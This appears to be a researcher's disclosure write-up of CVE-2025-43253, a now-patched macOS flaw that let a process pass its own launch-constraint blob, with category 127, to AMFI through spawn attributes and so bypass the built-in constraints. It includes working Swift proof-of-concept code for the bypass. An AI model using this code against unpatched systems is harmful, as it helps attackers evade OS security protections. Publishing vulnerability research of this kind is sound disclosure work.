CVE-2025-43253: Bypassing Launch Constraints on macOS
What are launch constraints?
Quick(er) one today! As covered by Csaba Fitzl in his initial article on the topic and his later follow-up deep-dive, launch constraints are a feature on macOS that stops binaries from being launched unless certain conditions are met. To be a bit pedantic, the constraints in question here are referred to by Apple as lightweight code requirements (which is sometimes initialized as LWCR).
Lightweight code requirements are often expressed as a dictionary of conditions that should be true in order for the process to launch. As explained in the previously-linked article, these constraints can be either self constraints (such as an on-system-volume
constraint on system processes to ensure they can't be copied to a temporary directory and launched) or parent constraints (such as an is-init-proc
constraint on daemons to ensure that only the init proc can launch them).
These constraints are powerful tools that can essential mitigate entire classes of exploits. If a binary can only be launched under certain conditions, and those conditions are tight enough to where an attacker cannot gain a foothold, the binary becomes very difficult to exploit. Previously attacks, such as copying a system app with plugin support to a temporary directory, modifying it, and then giving it a malicious plugin, can be thoroughly prevented. They're a very good and important feature. So let's break them!
Breaking launch constraints
Finding the vulnerability
But first, I need to explain how I found this vulnerability. I was working on my Kass tooling, a set of Swift wrappers around lower-level kernel API's I wrote to help me in reverse engineering. I was writing a wrapper around posix_spawn()
by looking through the source code of libsyscall
in the XNU sources. This introduced me to the posix_spawnattr_setmacpolicyinfo_np
function, which attaches an arbitrary blob of data and a string policy name to a call to posix_spawn()
through the use of spawn attributes.
Tracing the code
The XNU kernel underpinning macOS includes a copy of the TrustedBSD MAC Framework. MAC policies can register themselves with a list of hooks into specific operations (such as when a process spawns / is spawning), giving them the chance to weigh in on the context of these operations and provide feedback on the security implications. One of these hook functions, mpo_proc_check_launch_constraints_t
, allows these policies to check the launch constraints of a binary as its spawning.
More specifically, the mac_proc_check_launch_constraints
wrapper function iterates over registered MAC policies and calls the hook function by passing it a blob of data. And, as many may have already correctly guessed, that wrapper function is called in the initial stages of process execution in the kernel, and the data that is passed to the hook function is taken directly from spawn attributes.
Exploiting MAC policies
So now we have a userspace API that allows us to pass an arbitrary blob of data to a specific MAC policy for it to parse however it is designed to. How can we abuse this? You might think this exploit involves a very specifically-crafted payload that leads to memory corruption that changes the flow of execution, but the actual exploit is far more simple. Believe me, if I had found a such a memory corruption exploit in the kernel I'd likely have far greater capabilities than simply bypassing launch constraints.
The actual exploit: pass an actual launch constraints dictionary to the AMFI MAC policy. That's it. Well, it's a little more complicated than that, but the gist of it is that whatever launch constraints you passed in via this API would take the place of any in-built launch constraints. So you could simply pass it a very minimal set of constraints, and the kernel would check against those constraints instead of the OS's more strict built-in ones. Now that Apple has patched this, both sets of constraints are checked, mitigating this exploit.
Proof-of-Concept
In order to exploit this vulnerability, we first need to know how to serialize a launch constraints dictionary into a blob of data. While this could have been complicated, the OS thankfully includes an undocumented library we can use for this purpose. The below code uses the Linking
modules from my Kass tooling to bring link in that library, but you can likely just as easily call dlopen()
to dynamically link in the library.
import Foundation
import Linking
@objc protocol ILWCR: NSObjectProtocol, Sendable {
var externalRepresentation: Data { get }
var dictionary: [String: Any] { get }
@objc(withVersion:withConstraintCategory:withRequirements:withError:)
static func
lwcr(
version: Int, constraintCategory: Int, requirements: [String: Any]?,
error: NSErrorPointer
) -> Self?
@objc(withData:withError:)
static func lwcr(data: Data, error: NSErrorPointer) -> Self?
}
let LWCR: ILWCR.Type = {
Library(path: "/usr/lib/libTLE.dylib")!.link()
return unsafeBitCast(NSClassFromString("LWCR"), to: ILWCR.Type.self)
}()
Next, we can use my posix_spawn()
wrapper API to define an extension that adds a serialized dictionary to a set of spawn attributes. But first, I need to explain something I didn't mention above: we don't actually have to pass a valid launch constraints dictionary. It has to be syntactically valid, enough for AMFI to parse it out, but the actual constraints don't have to be valid as there is a secondary parameter called the constraint category. If that value is 127, the constraints are parsed, but not enforced. Why that number? I don't know.
It's actually quite lucky, as AMFI only allows a certain subset of constraint categories for launch constraints to be passed in spawn attributes. Additionally, there is a specific subset of constraint categories that are enforced. 127 just happens to be both allowed in spawn attributes and not enforced. In Csaba's intital article on launch constraints, he shows off the log message that appears when AMFI enforces launch constraints on a binary: AMFI: Launch Constraint Violation (enforcing) [...]
. You might think its strange that a log message indicates that a violation is indeed being enforced. That is, until you see what happens when you use constraint category 127: AMFI: Launch Constraint Violation (not enforcing) [...]
.
import BSDCore
import Foundation
extension BSDCore.BSD.POSIXSpawnAttributes {
func bypassLaunchConstraints() throws {
var error: NSError? = nil
guard
let lwcr = LWCR.lwcr(
version: 1,
// It seems that a constraint category of 127 will tell AMFI to not enforce any launch constraint errors.
constraintCategory: 127,
// AMFI will complain that this is empty, but because we pass 127 above it will still let us spawn.
requirements: [:],
error: &error
)
else { throw error! }
try self.setMACPolicyInfo(
policyName: "AMFI",
policyData: lwcr.externalRepresentation
)
}
}
Now to put it all together, we just call my posix_spawn()
wrapper with these spawn attributes.
func spawnWithNoLaunchConstraints(victimPath: String) throws {
let spawnAttributes = try BSDCore.BSD.POSIXSpawnAttributes()
try spawnAttributes.bypassLaunchConstraints()
let pid = try BSDCore.BSD.posixSpawn(
path: victimPath,
fileActions: BSDCore.BSD.POSIXSpawnFileActions(),
attributes: spawnAttributes,
arguments: [victimPath],
environmentVariables: [:]
)
print("Spawned process with pid \(pid) | \(victimPath)")
}
Exploitability
So how exploitable is this, really? To be honest, I'm not sure. I tried playing around with daemons, spawning them under certain conditions, but was never able to fully compromise one. Additionally, while Csaba found out about launch constraints when they blocked his attempt to copy an app to a different folder and run it, this bypass does not re-allow such exploits. Other OS security features, such as AppleSystemPolicy (the OS's built-in anti-virus), appear to pick up the slack and still block them. It's still possible there was some way this exploit could be used to malicious ends, but I was ultimately unable to find a full exploit chain.
A final technical note
There's one more thing I've been holding back on in this article until now. All of this is actually possible because AMFI now ships with the option for third party launch constraints enabled by default. If that option were turned off, AMFI would simply ignore any launch constraints passed in via spawn attributes. If you're curious, you can tun sysctl security.mac.amfi.launch_constraints_3rd_party_allowed
in your terminal to see the status of this option on your machine.
Interestingly, in Csaba's first article he incidentally revealed that the option was off for him at the time of writing. This initially lead me to believe the root of this vulnerability was that the option was turned on at some point. However, that was not the conclusion Apple seemingly came to. The option is still enabled post-patch. The logic for handling launch constraints has simply changed. As mentioned, now both the spawn-attribute-passed constraints and the built-in constraints are checked by AMFI.
What about CVE-2025-43266?
Those of you who follow my work may have noticed this is not the only CVE I had for this most recent Apple update cycle. CVE-2025-43266 was the second one. To respond to those wondering when I am going to publish my write-up on that: I don't know. My research into that bug lead me down a rabbit-hole that exploded in several different directions and I'm still parsing through how (and even if) it all fits together. There's also external factors that make me uncomfortable with disclosing specific details of that vulnerability, so until those are resolved, there likely will not be a write-up for it on my blog.
Anyways, to stay informed on that (and anything else I put out) remember to watch this space.